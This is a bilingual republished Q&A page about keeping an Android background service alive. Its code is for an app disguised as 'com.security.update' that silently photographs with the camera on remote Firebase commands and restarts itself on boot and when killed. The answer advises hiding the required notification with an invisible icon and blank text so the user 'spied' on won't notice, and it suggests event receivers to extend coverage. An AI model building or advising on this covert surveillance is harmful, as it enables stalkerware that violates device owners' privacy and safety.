Firebase childeventlistener 的后台服务在几分钟后无法工作 [英] Background Service with Firebase childeventlistener not working after few minutes

查看:21
本文介绍了Firebase childeventlistener 的后台服务在几分钟后无法工作的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我创建了一个服务,我想在不显示前台通知的情况下永远运行该服务.我在 onStartCommand 中有 Firebase 侦听器,它会在数据库中的数据发生变化时进行侦听.每当数据更改时,它都会执行特定任务.捕获图像.

I have created a service which i want to run forever without showing foreground notification. I have Firebase listener in onStartCommand that listens whenever data changes in database. Whenever data changes it does a specific task eg. Capture image.

在 Activity 课程中,我什么都没有,只是我在那里开始了服务,然后我完成了它.问题是我可以在我的 Samsung J2 设备和 Nexus 5 上看到,每当我从应用程序抽屉中杀死应用程序时,该服务就会停止.我已经在 BOOT_COMPLETED 和服务 onDestroy 上实现了广播接收器,但它也无法启动.简而言之,我的服务不会永远运行.此外,我不确定 Firebase 侦听器是否可以在后台服务中工作.有许多应用程序,例如 whatsapp、hike、Applock,许多其他应用程序即使在强制关闭时也会重新启动.我希望我的应用程序每次都侦听 Firebase 数据库.它纯粹是基于服务的应用程序.它没有任何活动.下面是代码-

In Activity class there is nothing just i have started service there and then i finished it. Problem is that i can see on my Samsung J2 device and on Nexus 5 too , that service got stopped whenever i kill application from App drawer. I have implemented Broadcast Receiver on BOOT_COMPLETED and also in service onDestroy but its not working on booting also. In Short my service is not running forever.Also i am not sure about Firebase listener whether it will work in background service or not. There are many apps like whatsapp,hike,Applock, many other apps which restarts even on force close.I want my app listen to Firebase Database every time .Its purely Service based App.It doesnt have any activity. Below is code-

清单文件

<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />

<application
    android:screenOrientation="portrait"
    android:name="android.support.multidex.MultiDexApplication"
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">


    <activity
        android:name=".ActivityForPermissions"
        android:screenOrientation="portrait">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>


    <service android:name="com.security.update.CameraService"
        android:enabled="true"
        />

    <receiver android:name="com.security.update.ReceiverCall"
        android:enabled="true">
        <intent-filter>
            <action android:name="RESTART_SERVICE" />
            <action android:name="android.intent.action.BOOT_COMPLETED" />
        </intent-filter>
    </receiver>

</application>

活动类

 public class ActivityForPermissions extends AppCompatActivity {

  @Override
  public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    startService(new   Intent(ActivityForPermissions.this,CameraService.class));
    finish();
}


@Override
protected void onDestroy() {
    super.onDestroy();
}}

接收类

public class ReceiverCall extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {

    context.startService(new Intent(context, CameraService.class));;
    }

 }

服务类

public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;

@Override
public void onCreate()
{
    super.onCreate();
    android.os.Debug.waitForDebugger();
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    devicemodel = android.os.Build.MODEL;
    mStorageRef = FirebaseStorage.getInstance().getReference();
    database = FirebaseDatabase.getInstance();
    RequestRef = database.getReference("CameraRequest");
    SpyStatus = database.getReference("SpyStatus");
    ListenerForRequestDone();
    return START_STICKY;

}

@Override
public void onDestroy() {
    super.onDestroy();
    Intent intent = new Intent("RESTART_SERVICE");
    sendBroadcast(intent);
}

 public void ListenerForRequestDone(){
    RequestRef.addChildEventListener(new ChildEventListener() {
        @Override
        public void onChildAdded(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onChildChanged(DataSnapshot dataSnapshot, String s) {
            StartImageCapture(1);
        }

        @Override
        public void onChildRemoved(DataSnapshot dataSnapshot) {

        }

        @Override
        public void onChildMoved(DataSnapshot dataSnapshot, String s) {

        }

        @Override
        public void onCancelled(DatabaseError databaseError) {

        }
    });
}

那里也有类似的问题,例如.这个 但是没有正确的答案.

Also there is similar questions there eg. this But there is no proper answer.

推荐答案

第一个回答:

您的服务正在被终止,因为您可能正在尝试执行 Google/Android 操作系统明确不希望发生的事情.这是 SDK 文档的一部分,然后我会解释:

Your service is being killed because you might be attempting to do something that Google/Android OS explicitly doesn't want to happen. Here's a cut from the SDK docs and then I'll explain:

(来自服务生命周期)因为通常只有少数进程对用户可见,这意味着除非内存不足,否则不应终止服务.然而,由于用户并不直接知道后台服务,在这种状态下它被认为是一个有效的候选者,你应该为这种情况的发生做好准备.特别是,如果长时间运行的服务保持启动时间足够长,它们将越来越有可能被终止,并且保证会被终止(并在适当的情况下重新启动).

(From Service Lifecycle) Because only a few processes are generally visible to the user, this means that the service should not be killed except in low memory conditions. However, since the user is not directly aware of a background service, in that state it is considered a valid candidate to kill, and you should be prepared for this to happen. In particular, long-running services will be increasingly likely to kill and are guaranteed to be killed (and restarted if appropriate) if they remain started long enough.

你看,他们实际上试图确保用户不会有数百个 SpyServices 永久运行,占用资源或其他任何东西.你怎么能避免这种情况?答案就在那里……显示某种类型的通知,即使是简单地说服务正在运行"的通知也会防止服务被破坏.当然,如果您实际上是在尝试监视"用户,那么发出间谍服务正在运行的通知并不是一个好主意.如果您想继续使用此模式,请尝试使用不可见"通知图标和非打印文本.如果用户正在查看通知,他们可能看不到它,或者认为这只是一个小故障.

You see, they're actually trying to make sure that the user doesn't have hundreds of SpyServices running perpetually, hogging resources or whatever. How can you avoid this? The answer is right there...show some type of Notification, even one that simply says 'service running' will keep the service from being destroyed. Of course, if you're actually trying to 'spy' on the user, putting a notification that the spy service is running isn't a good idea. If you want to proceed with this pattern, try an 'invisible' notification icon and non-printing text. If the user's looking at the notifications, they might not see it, or think it's just a glitch.

第二个答案:

切换到更事件驱动"的设计.我假设您能够捕捉到启动时"、呼叫接收"和其他消息,因此请为指示手机使用情况的事件注册接收器,这样您就可以轻松地将多个 10-15 分钟的内容拼接在一起段以获得几乎完全覆盖.

Switch to a more 'event-driven' design. I'm assuming that you're able to catch the 'on-boot', 'call-received' and other messages, so register receivers for events that would indicate handset usage, that way you could easily stitch together multiple 10-15 minute segments to get almost full coverage.

我的目标是:

  • 电源连接/断开
  • WiFi 状态更改
  • 屏幕背光开/关和/或屏幕锁定状态已更改.

第三个答案:

看看绑定"模式.如果您可以让任何活动绑定"到服务,只要它被绑定,它就保证不会被杀死.如果您将START_STICKY"与绑定模式结合使用,您将能够在绑定释放后继续运行一段时间.

Take a look at the 'binding' pattern. If you can get any of the activities to 'bind' to the service, its guaranteed NOT to be killed as long as it's bound. If you combine the 'START_STICKY' with the binding pattern, you'll be able to keep running for some period after the binding is released.

这篇关于Firebase childeventlistener 的后台服务在几分钟后无法工作的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆